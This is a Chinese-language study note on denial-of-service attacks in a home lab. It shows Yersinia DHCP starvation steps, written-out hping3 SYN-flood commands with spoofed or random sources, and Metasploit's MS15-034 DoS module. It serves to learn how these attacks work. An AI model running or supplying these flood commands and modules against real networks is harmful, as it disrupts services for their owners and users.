拒绝服务攻击 - 学习笔记
前言
概述
拒接服务攻击是目前来说,较为难以防御的攻击方式之一。其防御的难点在于难以分辨,正常用户与恶意用户。同时,随着攻击模式的进步,花样也越来越多。但是,服务器方也升级了安全策略。传统上,单机的 Dos 攻击已经难以实现。结合肉鸡的使用,DDos 攻击效果还是不错的,同时,结合物联网的发展,物联网上的智能设备作为肉鸡,为攻击作出贡献的 “变种DDos”也已经实现。
工具
我们只是逃脱不了 Kali 的使用。在这里,我们学习 Kali 下的三个工具的使用。
* Yersinia * Hping3 * metasploit
当然,metasploit 的内容很多,我们这里只介绍 Dos攻击的应用。
实验环境
- Kali Linux
- Windows Server 2012
\\Win Server 2012 ISO Download 不保证长久可用 http://www.xp85.com/html/WS2012.html \\大神的server搭建 Web服务器 教程 http://zhangcong.blog.51cto.com/10005154/1655868 \\大神手把手 教你搭建 DHCP服务器 教程 http://tingdongwang.blog.51cto.com/1056852/1641008
Yersinia工具
工具启动
- 该命令启动 yersinia 图形化界面。
# yersinia -G
- 命令行使用方法
Usage: yersinia [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]
-V 版本信息
-h 获取帮助信息
-G 图形化工作界面
-I 交互模式.
-D 后台模式
-d 调试
-l logfile 选择日志文件
-c conffile 选择配置文件
protocol 可以攻击的协议: cdp, dhcp, dot1q, dot1x, dtp,
hsrp, isl, mpls, stp, vtp.
DHCP服务开启
一般 家里的路由器 都支持该功能,可以直接用家用路由器。当然,如果家里路由器没有条件的话,可以点击上面的传送门,搭建一个 DHCP服务器 。
如果是家里的路由器的话,那虚拟机应该使用 桥接模式 。当连上网络以后,便已经租用了该路由器的 IP地址 。
启动Yersinia攻击程序
点击 Edit interfaces 标签,选择相应的网卡接口。我们一般是选用 eth0 。
针对DHCP的攻击有四种方式:
sending RAW packet #发送原始数据包
sending DISCOVER packet #发送请求获取IP地址数据包,占用所有的IP,造成拒绝服务
creating DHCP rogue server #创建虚假DHCP服务器,让用户链接,真正的DHCP无法工作
sending RELEASE packet #发送释放IP请求到DHCP服务器,致使正在使用的IP全部失效
点击 Launch attack 标签,选择 sending DISCOVER packet 。开始攻击。
攻击效果
一旦DHCP服务器被DISCOVER攻击,地址池内所有的有效IP都没法使用,新的用户就无法获取IP地址
工具思考
- 局限性 : 该工具只能在局域网中使用,并且有DHCP服务。
- 原理 : 该工具不断向路由器发送 请求IP地址 的数据包,从而占据IP池中所有的IP地址,让新上线的主机无IP地址可用。 当然,这只是指这一个攻击方式。
- 失败点 :现在的 Kali 都是滚动更新,而我刚升级完的工具是一个测试版,所以在正式攻击的时候,左侧DHCP的数据包应该增多,而我的界面上却没有反应,我已经将这个问题提交给了开发组,希望可以在正式版上修改。从我宿主机的流量监控来看,是存在着攻击的。但是,我在新上线的虚拟机的命令行中,键入 “# ipconfig /renew” 命令,却没有说不能获取到IP地址,但效果不能链接互联网已经出现,等我不再攻击,并重启网络服务,又可链接。我断定,攻击是成功的。我觉得,有可能是路由器的原因。
Hping3工具
工具简介
- 平台: Kali自带
- 界面: 只支持命令行
简单示例
因为这个工具很简单,我就从网上各个大神的博客里抄录一些用例,放在这里。
hping3 -S -a XXX.XXX.XXX.XXX -V www.XXX.com
- -a 伪造ip地址来源
- -V 冗余模式
- -S 发送SYN数据包
- –flood 只发数据包,不考虑数据入站回显
hping3 -S -V –flood –rand-source -c 10000 -d 150 -w 64 -p 80 www.XXX.com
- -c 10000 发送数据包数量
- -d 150 发送的每个数据包的大小
- -w 64 TCP窗口的大小
- -p 80 攻击目的端口,可以随意设置
- –ran-source 使用随记性源IP地址
hping3 -SARFU -V –flood –rand-source -c 10000 -d 150 -w 64 -p 80 www.XXX.com
- -SARFU 发送SYN,ARP,UDP等不同协议的数据包
- –flood 只发数据包,不考虑数据入站回显
- -V 冗余模式
- –ran-source 使用随记性源IP地址
- -c 10000 发送数据包数量
- -d 150 发送的每个数据包的大小
- -w 64 TCP窗口的大小
- -p 80 攻击目的端口,可以随意设置
工具反思
这块我并没有花费太多的时间去做。这个工具的起点还是很高的,需要对网络协议,和网络包的组成还是握手方式,有一定的了解。同时,现在的攻击手段,已经不是一台普通的电脑能够决定的。现在都是DDos,而 Hping3 发起的Dos攻击,显得很是鸡肋。同时,对于我的感官来说,这个工具更像是升级版的 Ping 命令。
Metasploit工具
前言
Metasploit有着强大的功能,而这次我们只是探究其拒绝服务攻击内容。同时,这个工具是利用漏洞进行攻击,所以 这个是王道。同时需要有前驱的嗅探过程。通过时推荐一本书《Metasploit渗透测试魔鬼训练营》。这本书详细讲述了,Metasploit工具的使用。
Metasploit拥有巨大的优势。可以说是四两拨千斤。同时,超越空间与带宽的限制。当你发现,你要攻击的目标,不在同一局域网内,同时对方有着巨大的带宽与运算优势。我们前面的两种工具就已经不能派上用场了。但是,我们要有一个大招就是漏洞。我们的目的不就是不让别人访问了么?直接打掉对方服务器不就可以了么?这会是我们最初的想法。
而其背后,蕴藏的却是一系列流程,从嗅探 - 分析 - 渗透 - 提权 等等。
实验环境
- Windows Server 2008 (ISS7)
- Kali Linux
- 漏洞 :MS15-034
实验操作
- # msfconsole
# use auxiliary/dos/http/ms15_034_ulonglong
或者 # auxiliary/scaner/http/ms15_034_http_sys_memory_dump
# show option
- 填入信息
- # run
工具感想
metasploit工具起点低,但是方便简单。其威力取决于所选用的漏洞,但是往往现实生活中,上面有的漏洞,都填补上了对应的补丁。
后言
我在中外的网站上都看到了大神们用这个漏洞使服务器宕机,但是我在本地复现的过程中,却没有实现。使用Nessus扫描的话,也能看到这个漏洞。其中如果使用 auxiliary/scaner/http/ms15_034_http_sys_memory_dump
这个载荷,是可以成功的。但是那一个却不行。我再尝试另一种方式或者另一个漏洞。如果有时间,我会专门写一个Metasploit的一篇。当然,我不建议,直接不尝试这个漏洞,有可能是环境的问题。但我觉得,是,metasploit的载荷的问题。